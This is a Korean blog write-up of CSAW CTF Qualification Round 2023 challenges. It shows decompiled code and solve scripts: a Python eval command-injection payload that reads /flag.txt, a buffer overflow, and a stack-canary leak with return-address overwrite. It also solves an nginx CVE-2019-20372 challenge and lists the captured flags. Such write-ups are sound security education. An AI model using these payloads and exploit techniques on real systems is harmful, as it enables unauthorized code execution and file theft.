ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

CSAW CTF Qualification Round 2023
CTF

CSAW CTF Qualification Round 2023

2023. 9. 18. 14:25

시간이 모자라서 쉬운 것들만 풀어봤습니다.

 


Intro

my_first_pwnie

더보기

소스 코드는 다음과 같습니다.

#!/usr/bin/env python3

# Pwn mostly builds on top of rev.
# While rev is more about understanding how a program works, pwn is more about figuring out how to exploit a program to reach the holy grail: Arbitrary Code Execution
#
# If you can execute arbitrary code on a system, that system might as well be yours...because you can do whatever you want with it! (this is the namesake of "pwn".....if you pwn a system, you own the system)
# Of course, that comes with the limitations of the environment you are executing code in...are you a restricted user, or a super admin?
# Sometimes you can make yourself a super admin starting from being a restricted user.....but we're not gonna do that right now.
#
# For now, I want you to figure out how to execute arbitrary commands on the server running the following code.
#
# To prove to me that you can excute whatever commands you want on the server, you'll need to get the contents of `/flag.txt`

try:
  response = eval(input("What's the password? "))
  print(f"You entered `{response}`")
  if response == "password":
    print("Yay! Correct! Congrats!")
    quit()
except:
  pass

print("Nay, that's not it.")

취약한 함수 eval이 사용됩니다.

다음과 같이 입력하면 루트 디렉토리가 유출됩니다.

 __import__('os').system('ls /')

 

루트 디렉토리에 flag.txt가 존재합니다.

다음과 같이 입력하면 플래그를 얻습니다.

 __import__('os').system('cat /flag.txt')

% nc intro.csaw.io 31137
What's the password?  __import__('os').system('cat /flag.txt')
csawctf{neigh______}
You entered `0`
Nay, that's not it.

 

Baby's First

더보기

소스 코드는 다음과 같습니다.

#!/usr/bin/env python3

# Reversing is hard. But....not always.
#
# Usually, you won't have access to source.
# Usually, these days, programmers are also smart enough not to include sensitive data in what they send to customers....
#
# But not always....

if input("What's the password? ") == "csawctf{w3_411_star7_5om3wher3}":
  print("Correct! Congrats! It gets much harder from here.")
else:
  print("Trying reading the code...")

# Notes for beginners:
#
# This is Python file. You can read about Python online, but it's a relatively simple programming language.
# You can run this from the terminal using the command `python3 babysfirst.py`, but I'll direct you to the internet again
# for how to use the terminal to accomplish that.
#
# Being able to run this file is not required to find the flag.
#
# You don't need to know Python to read this code, to guess what it does, or to solve the challenge.

소스 코드에 플래그가 박혀있습니다.

 

target_practice

더보기

IDA로 디컴파일 해보면 다음과 같습니다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF

  v4[2] = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(stdout);
  fflush(stdin);
  printf("Aim carefully.... ");
  __isoc99_scanf("%lx", v4);
  v4[1] = v4[0];
  ((void (*)(void))v4[0])();
  return 0;
}

 16진수로 입력받은 값(4 바이트)을 함수 포인터로 실행시켜 줍니다.

바이너리에는 플래그를 보여주는 cat_flag라는 함수가 존재합니다.

pie 보호 기법이 없어서 그냥 심볼로 때려 넣으면 플래그가 나옵니다.

from pwn import *

# context.log_level = 'debug'

p = remote('intro.csaw.io', 31138)
e = ELF('./target_practice')

flag = e.symbols['cat_flag']
# print(hex(flag))

p.sendlineafter(b'...',hex(flag))

p.interactive()
csawctf{y0ure_a_m4s7er4im3r}

 

Baby's Third

더보기

IDA로 디컴파일 해보면 플래그가 박혀있습니다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s1[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Enter your password: ");
  __isoc99_scanf("%99s", s1);
  if ( !strcmp(s1, "csawctf{st1ng_th30ry_a1nt_so_h4rd}") )
    puts("Correct!");
  else
    puts("Access denied.");
  return 0;
}

 

 

puffin

더보기

IDA로 디컴파일 해보면 다음과 같습니다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[44]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+2Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fflush(_bss_start);
  fflush(stdin);
  v5 = 0;
  printf("The penguins are watching: ");
  fgets(s, 48, stdin);
  if ( v5 )
    system("cat /flag.txt");
  else
    puts(&::s);
  return 0;
}

fgets에서 BOF가 발생하여 v5를 덮을 수 있습니다.

from pwn import *

p = remote('intro.csaw.io', 31140)

pay = b'A'*44 + p32(1)
p.sendlineafter(b':',pay)

p.interactive()
csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}

 

whataxor

더보기

IDA로 디컴파일 해보면 다음과 같습니다.

__int64 __fastcall xor_transform(__int64 a1, char a2)
{
  __int64 result; // rax
  int i; // [rsp+18h] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = *(unsigned __int8 *)(i + a1);
    if ( !(_BYTE)result )
      break;
    *(_BYTE *)(i + a1) ^= a2;
  }
  return result;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s2[80]; // [rsp+0h] [rbp-C0h] BYREF
  char s1[104]; // [rsp+50h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+B8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Enter your password: ");
  __isoc99_scanf("%99s", s1);
  xor_transform((__int64)s1, 0xFFFFFFAA);
  s2[0] = -55;
  s2[1] = -39;
  s2[2] = -53;
  s2[3] = -35;
  s2[4] = -55;
  s2[5] = -34;
  s2[6] = -52;
  s2[7] = -47;
  s2[8] = -102;
  s2[9] = -60;
  s2[10] = -49;
  s2[11] = -11;
  s2[12] = -39;
  s2[13] = -62;
  s2[14] = -49;
  s2[15] = -49;
  s2[16] = -6;
  s2[17] = -11;
  s2[18] = -101;
  s2[19] = -35;
  s2[20] = -59;
  s2[21] = -11;
  s2[22] = -39;
  s2[23] = -62;
  s2[24] = -49;
  s2[25] = -3;
  s2[26] = -38;
  s2[27] = -11;
  s2[28] = -104;
  s2[29] = -62;
  s2[30] = -40;
  s2[31] = -49;
  s2[32] = -49;
  s2[33] = -11;
  s2[34] = -97;
  s2[35] = -62;
  s2[36] = -49;
  s2[37] = -49;
  s2[38] = -63;
  s2[39] = -39;
  s2[40] = -11;
  s2[41] = -11;
  s2[42] = -11;
  s2[43] = -11;
  s2[44] = -11;
  s2[45] = -48;
  s2[46] = -11;
  s2[47] = -11;
  s2[48] = -11;
  s2[49] = -48;
  s2[50] = -48;
  s2[51] = -48;
  s2[52] = -11;
  s2[53] = -11;
  s2[54] = -11;
  s2[55] = -11;
  s2[56] = -11;
  s2[57] = -48;
  s2[58] = -48;
  s2[59] = -48;
  s2[60] = -48;
  s2[61] = -48;
  s2[62] = -48;
  s2[63] = -11;
  s2[64] = -11;
  s2[65] = -11;
  s2[66] = -11;
  s2[67] = -46;
  s2[68] = -59;
  s2[69] = -40;
  s2[70] = -41;
  if ( !strcmp(s1, s2) )
    puts("Correct!");
  else
    puts("Access denied.");
  return 0;
}

 

전형적인 xor 역연산 문제입니다.

s2 = [0 for i in range(80)]
s2[0] = 0xC9
s2[1] = 0xD9
s2[2] = 0xCB
s2[3] = 0xDD
s2[4] = 0xC9
s2[5] = 0xDE
s2[6] = 0xCC
s2[7] = 0xD1
s2[8] = 0x9A
s2[9] = 0xC4
s2[10] = 0xCF
s2[11] = 0xF5
s2[12] = 0xD9
s2[13] = 0xC2
s2[14] = 0xCF
s2[15] = 0xCF
s2[16] = 0xFA
s2[17] = 0xF5
s2[18] = 0x9B
s2[19] = 0xDD
s2[20] = 0xC5
s2[21] = 0xF5
s2[22] = 0xD9
s2[23] = 0xC2
s2[24] = 0xCF
s2[25] = 0xFD
s2[26] = 0xDA
s2[27] = 0xF5
s2[28] = 0x98
s2[29] = 0xC2
s2[30] = 0xD8
s2[31] = 0xCF
s2[32] = 0xCF
s2[33] = 0xF5
s2[34] = 0x9F
s2[35] = 0xC2
s2[36] = 0xCF
s2[37] = 0xCF
s2[38] = 0xC1
s2[39] = 0xD9
s2[40] = 0xF5
s2[41] = 0xF5
s2[42] = 0xF5
s2[43] = 0xF5
s2[44] = 0xF5
s2[45] = 0xD0
s2[46] = 0xF5
s2[47] = 0xF5
s2[48] = 0xF5
s2[49] = 0xD0
s2[50] = 0xD0
s2[51] = 0xD0
s2[52] = 0xF5
s2[53] = 0xF5
s2[54] = 0xF5
s2[55] = 0xF5
s2[56] = 0xF5
s2[57] = 0xD0
s2[58] = 0xD0
s2[59] = 0xD0
s2[60] = 0xD0
s2[61] = 0xD0
s2[62] = 0xD0
s2[63] = 0xF5
s2[64] = 0xF5
s2[65] = 0xF5
s2[66] = 0xF5
s2[67] = 0xD2
s2[68] = 0xC5
s2[69] = 0xD8
s2[70] = 0xD7

for s in s2:
    print(chr((s^0xAA)&0xff),end='')
csawctf{0ne_sheeP_1wo_sheWp_2hree_5heeks_____z___zzz_____zzzzzz____xor}ªªªªªªªªª

 


PWN

unlimited_subway

더보기

IDA로 디컴파일 해보면 다음과 같습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int idx; // [esp+4h] [ebp-90h] BYREF
  int name_len; // [esp+8h] [ebp-8Ch] BYREF
  char choice[2]; // [esp+Eh] [ebp-86h] BYREF
  unsigned __int8 account[64]; // [esp+10h] [ebp-84h] BYREF
  char name[64]; // [esp+50h] [ebp-44h] BYREF
  unsigned int v9; // [esp+90h] [ebp-4h]

  v9 = __readgsdword(0x14u);
  memset(account, 0, sizeof(account));
  memset(name, 0, sizeof(name));
  *(_WORD *)choice = 0;
  idx = 0;
  name_len = 0;
  init();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        read(0, choice, 2);
        if ( choice[0] != 70 )
          break;
        printf("Data : ");
        read(0, account, 64);
      }
      if ( choice[0] != 0x56 )
        break;
      printf("Index : ");
      __isoc99_scanf("%d", &idx);
      view_account(account, idx);
    }
    if ( choice[0] == 'E' )
      break;
    puts("Invalid choice");
  }
  printf("Name Size : ");
  __isoc99_scanf("%d", &name_len);
  printf("Name : ");
  read(0, name, name_len);
  return 0;
}

 

Name의 Size를 마음대로 설정할 수 있어서 BOF를 발생시킬 수 있습니다.

다만 카나리가 존재하기 때문에 이를 우회해야 합니다.

(일부러 32비트로 좀 더 쉽게 내려고 한 듯..)

 

view_account에서 입력값 검증이 없어 oob가 발생해 카나리를 읽을 수 있습니다.

account에 'aaaa'를 넣고 인덱스로 1111(0x457)을 넣은 뒤 스택의 상태를 확인합니다.

 

우선 카나리 값을 찾아준 뒤 스택의 상태를 확인해보면

index로 입력한 값이 $ebp-0x90에 저장되며

account 배열은 $ebp-0x84부터 시작함을 알 수 있습니다.

오프셋은 128 바이트 입니다.

따라서 view_account의 인덱스로 128, 129, 130, 131을 넣으면 카나리 릭이 가능합니다.

pwndbg> canary
AT_RANDOM = 0xffffd6ab # points to (not masked) global canary value
Canary    = 0x72b6ab00 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:0000│  0xffffd2b0 ◂— 0x72b6ab00
00:0000│  0xffffd3d4 ◂— 0x72b6ab00
00:0000│  0xffffd3d8 ◂— 0x72b6ab00
00:0000│  0xffffd4b4 ◂— 0x72b6ab00
00:0000│  0xffffd50c ◂— 0x72b6ab00

pwndbg> x/40wx $ebp-0x90
0xffffd428:	0x00000457	0x00000000	0x0a560000	0x61616161
0xffffd438:	0x0000000a	0x00000000	0x00000000	0x00000000
0xffffd448:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd458:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd468:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd478:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd488:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd498:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd4a8:	0x00000000	0x00000000	0x00000000	0x72b6ab00
0xffffd4b8:	0xf7ffd020	0xf7d9d519	0x00000001	0xffffd574

pwndbg> p 0xffffd4b4-0xffffd434
$2 = 128

 

이제 리턴 영역을 플래그를 출력해주는 함수 print_flag로 오버라이트 시키면 플래그가 나옵니다.

from pwn import *

# context.log_level = 'debug'

p = remote('pwn.csaw.io', 7900)
e = ELF('./unlimited_subway')

flag = e.symbols['print_flag']

def _exit(size,data):
    p.sendafter(b'>',b'E')
    p.sendlineafter(b':',str(size))
    p.sendafter(b':',data)

def _view(index):
    p.sendafter(b'>',b'V')
    p.sendlineafter(b':',str(index))
    p.recvuntil(b': ')
    return p.recvline()[:-1]

canary = b''
# 128, 129, 130, 131
for i in range(128,132):
    canary += _view(i)

canary = bytes.fromhex(canary.decode())
pay = b'a'*64 + canary + b'b'*4 + p32(0x8049304)
print(canary)
_exit(len(pay),pay)

p.interactive()
csawctf{my_n4m3_15_079_4nd_1m_601n6_70_h0p_7h3_7urn571l3}

 


REV

Rebug 1

더보기

IDA로 디컴파일 해보면 다음과 같습니다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  char v5[44]; // [rsp+0h] [rbp-440h] BYREF
  int v6; // [rsp+2Ch] [rbp-414h] BYREF
  char v7[16]; // [rsp+30h] [rbp-410h] BYREF
  char v8[1008]; // [rsp+40h] [rbp-400h] BYREF
  __int64 v9; // [rsp+430h] [rbp-10h]
  int j; // [rsp+438h] [rbp-8h]
  int i; // [rsp+43Ch] [rbp-4h]

  printf("Enter the String: ");
  __isoc99_scanf("%s", v8);
  for ( i = 0; v8[i]; ++i )
    ;
  if ( i == 12 )
  {
    puts("that's correct!");
    v9 = EVP_MD_CTX_new();
    v3 = EVP_md5();
    EVP_DigestInit_ex(v9, v3, 0LL);
    EVP_DigestUpdate(v9, "12", 2LL);
    v6 = 16;
    EVP_DigestFinal_ex(v9, v7, &v6);
    EVP_MD_CTX_free(v9);
    for ( j = 0; j <= 15; ++j )
      sprintf(&v5[2 * j], "%02x", (unsigned __int8)v7[j]);
    printf("csawctf{%s}\n", v5);
  }
  else
  {
    printf("that isn't correct, im sorry!");
  }
  return 0;
}

 

i가 12이면 플래그를 줍니다.

이는 입력 값의 길이가 12이어야 한다는 것을 의미합니다.

$ ./Rebug1
Enter the String: 111111111111
that's correct!
csawctf{c20ad4d76fe97759aa27a0c99bff6710}

 

Rebug 2

더보기

IDA로 디컴파일 해보면 다음과 같습니다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _WORD v4[8]; // [rsp+0h] [rbp-20h] BYREF
  int v5; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  strcpy((char *)v4, "BgApYb7nCswD");
  HIBYTE(v4[6]) = 0;
  v4[7] = 0;
  v5 = 0;
  v6 = 12;
  printf("That is incorrect :(");
  for ( i = 0; i < v6; ++i )
  {
    if ( (i & 1) == 0 && i )
      printbinchar(*((_BYTE *)v4 + i));
  }
  return 0;
}
__int64 __fastcall printbinchar(char a1)
{
  __int64 v2[4]; // [rsp+10h] [rbp-30h] BYREF
  int v3; // [rsp+34h] [rbp-Ch]
  char v4; // [rsp+3Bh] [rbp-5h]
  int i; // [rsp+3Ch] [rbp-4h]

  memset(v2, 0, sizeof(v2));
  v4 = a1;
  for ( i = 0; i <= 7; ++i )
  {
    v3 = (v4 << i >> 7) & 1;
    *((_DWORD *)v2 + i) = v3;
  }
  return xoring((__int64)v2);
}
__int64 __fastcall xoring(__int64 a1)
{
  __int64 v2[2]; // [rsp+8h] [rbp-30h]
  __int64 v3[3]; // [rsp+18h] [rbp-20h]
  int j; // [rsp+30h] [rbp-8h]
  int i; // [rsp+34h] [rbp-4h]

  v3[0] = 0LL;
  v3[1] = 0LL;
  v2[0] = 0LL;
  v2[1] = 0LL;
  for ( i = 0; i <= 3; ++i )
  {
    *((_DWORD *)v3 + i) = *(_DWORD *)(4LL * i + a1);
    *((_DWORD *)v2 + i) = *(_DWORD *)(4 * (i + 4LL) + a1);
  }
  for ( j = 0; j <= 3; ++j )
  {
    if ( *((_DWORD *)v3 + j) == *((_DWORD *)v2 + j) )
      flag[index_flag] = 48;
    else
      flag[index_flag] = 49;
    ++index_flag;
  }
  return 0LL;
}

조건문은 크게 신경쓰지 않아도 되며, 반복문이 끝난 뒤에 flag를 확인해주면 됩니다.

GDB로 디스어셈블 해보면 다음과 같습니다.

pwndbg> disassemble main
Dump of assembler code for function main:
   ...
   0x000000000000130d <+105>:	call   0x122c <printbinchar>
   0x0000000000001312 <+110>:	add    DWORD PTR [rbp-0x4],0x1
   0x0000000000001316 <+114>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000001319 <+117>:	cmp    eax,DWORD PTR [rbp-0x8]
   0x000000000000131c <+120>:	jl     0x12ee <main+74>
   0x000000000000131e <+122>:	mov    eax,0x0
   0x0000000000001323 <+127>:	leave
   0x0000000000001324 <+128>:	ret

 main+122에 브레이크 포인트를 걸어준 뒤 가보면

RDX 레지스터가 플래그가 저장된 주소를 가리키고 있습니다.

*RDX  0x555555558030 (flag) ◂— '01011100010001110000'
csawctf{01011100010001110000}

 


WEB

Smug-Dino

더보기

문제 화면입니다.

 

/flag로 접근하면 파일을 가져올 수 없습니다.

 

/hint에서 서버 이름과 버전을 입력하면 힌트를 준다고 합니다.

서버 정보는 헤더에 나와있듯이 nginx/1.17.6 입니다.

 

다음과 같은 힌트가 주어집니다.

 

검색해보면 CVE-2019-20372 취약점을 활용한 문제임을 알 수 있습니다.

https://grooveshark.tistory.com/314 

 

CVE-2019-20372

https://www.hacking8.com/bug-product/Nginx/CVE-2019-20372-Nginx-error_page-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81%E6%BC%8F%E6%B4%9E.html CVE-2019-20372-Nginx-error_page-请求走私漏洞 - Nginx (CVE-2019-20372)Nginx error_page 请求走私漏洞 一、

grooveshark.tistory.com

 

 Host의 포트 번호를 날리면 플래그가 나옵니다.

'CTF' 카테고리의 다른 글

TetCTF 2024  (0) 2024.01.29
vsCTF 2023  (0) 2023.09.25
SECCON CTF 2023 Quals  (0) 2023.09.17
BDSec CTF 2023  (0) 2023.07.22
AmateursCTF 2023  (0) 2023.07.20
    'CTF' 카테고리의 다른 글
    • TetCTF 2024
    • vsCTF 2023
    • SECCON CTF 2023 Quals
    • BDSec CTF 2023
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바